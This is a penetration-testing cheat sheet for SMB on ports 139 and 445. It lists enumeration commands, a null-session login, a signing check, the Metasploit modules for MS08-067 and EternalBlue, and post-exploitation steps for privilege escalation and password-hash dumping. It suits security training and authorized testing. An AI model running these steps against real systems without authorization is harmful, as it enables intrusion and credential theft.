SMB (Server Message Block)

Default Port: 139, 445

SMB (Server Message Block), also known as CIFS (Common Internet File System), is a network protocol that allows for file sharing, network browsing, printing services, and inter-process communication over a network.

The SMB protocol provides you with the ability to access resources from a server.

Connect

In order to initiate the process, it's imperative to establish a connection to the Server Message Block (SMB) server.

To list all available shares on the target server, utilize the following command:

smbclient -L //target-ip

Enumeration

For further enumeration, various tools such as enum4linux, smbmap, or the nmap scripting engine can be employed.

enum4linux

enum4linux -a target-ip

smbmap

smbmap -H target-ip

nmap

nmap -p 445 --script=smb-enum-shares.nse,smb-enum-users.nse target-ip

This command executes two scripts to enumerate shares and users from the target server.

Attack Vectors

In this section, we will discuss some prevalent attack vectors commonly encountered when dealing with Server Message Block (SMB).

SMB Null Session

A Null Session refers to an unauthenticated connection to an SMB server, providing the capability to gather significant information. Exploitation typically involves SMB connections over TCP ports 445 and 139.

Command to establish a Null Session connection:

rpcclient -U "" <target-ip>

SMB Signing

SMB signing, if not enabled, can be exploited, potentially allowing an attacker to conduct a man-in-the-middle attack.

To check for SMB Signing status:

nmap --script smb-security-mode.nse -p445 <target-ip>

MS08-067 (Netapi)

This vulnerability permits remote attackers to execute arbitrary code through a crafted RPC request.

Metasploit module for exploitation:

use exploit/windows/smb/ms08_067_netapi

MS17-010 (EternalBlue)

This vulnerability enables remote attackers to execute arbitrary code via a crafted SMBv1 request.

Metasploit module for exploitation:

use exploit/windows/smb/ms17_010_eternalblue

Post-Exploitation

Following successful exploitation, the post-exploitation phase is initiated, involving deeper investigation.

Gaining System Access

Upon successful exploitation, utilizing the Meterpreter shell facilitates gaining system access.

getsystem

Dumping Hashes

A Metasploit post-module can be employed to dump hashes.

use post/windows/gather/smart_hashdump
exploit

Common SMB Commands

Command	Description	Usage
smbclient	Connect to an SMB/CIFS server	smbclient //server/share
smbget	Download files from an SMB/CIFS server	smbget smb://server/share/file
smbpasswd	Change a user's SMB password	smbpasswd -r server -U username
smbstatus	Display information about SMB connections	smbstatus
smbtree	List SMB/CIFS shares on a network	smbtree
mount -t cifs	Mount an SMB/CIFS share	mount -t cifs //server/share /mnt/point
umount	Unmount an SMB/CIFS share	umount /mnt/point